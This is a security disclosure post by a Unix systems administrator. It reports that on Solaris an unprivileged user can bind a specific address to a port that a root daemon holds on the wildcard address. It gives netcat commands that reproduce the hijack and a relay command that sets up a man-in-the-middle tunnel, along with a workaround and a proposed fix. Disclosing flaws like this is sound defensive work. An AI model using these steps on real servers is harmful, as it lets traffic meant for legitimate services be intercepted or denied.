I reported this to Oracle, but I have been told that this is part of the BSD standard and a desire feature (!). In a nutshell, as an ordinary user, I can bind to a port using a specific address even if another process is already bound to it with a wildcard address. This makes it very easy for an unprivileged user with login access to the server to set up a denial of service or man-in-the-middle attack. Of course, this applies to ports greater than 1024. Steps to reproduce: As root, start daemon on *:55555: [root@foo:/root]# netcat -l -p 55555 As an ordinary user, attempt to start another daemon listening to the same port: [user@foo:/home/user]$ netcat -l -p 55555 Error: Couldn't setup listening socket (err=-3) Good, now let's try a specific interface: [user@foo:/home/user]$ netcat -l -p 55555 -s foo It's listening! Now establish a connection to port 55555: [user@bar:/home/user]$ netcat foo 55555 I confirm that it is the second netcat (the unprivileged one listening on foo:55555) receiving the data. If I stop it and reconnect, the netcat running as root answers. To illustrate the seriousness, here I create a tunnel from foo:55555 to localhost:55555, inserting myself between the client and the real daemon! [user@foo:/home/user]$ netcat -L localhost:55555 -p 55555 -s foo -v Connection from A.B.C.D:41378 localhost [127.0.0.1] 55555 open This vulnerability also exists in Solaris 9. The work-around, I was told, was to make the port privileged (only root can bind to the port): [root@foo:/root]# ndd -set /dev/tcp tcp_extra_priv_ports_add 55555 This is not a practical solution, nor does it protect ordinary users who may run software that starts a daemon listing on a wildcard address. A better solution, in my opinion, would be to disable this feature by default and provide a system variable to enable the behaviour only when it is desired. -- Chris O'Regan <chris@xxxxxxxxxxxxxxxxx> Senior Unix Systems Administrator, Academic IT Services Faculty of Engineering and Computer Science Concordia University, Montreal, Canada
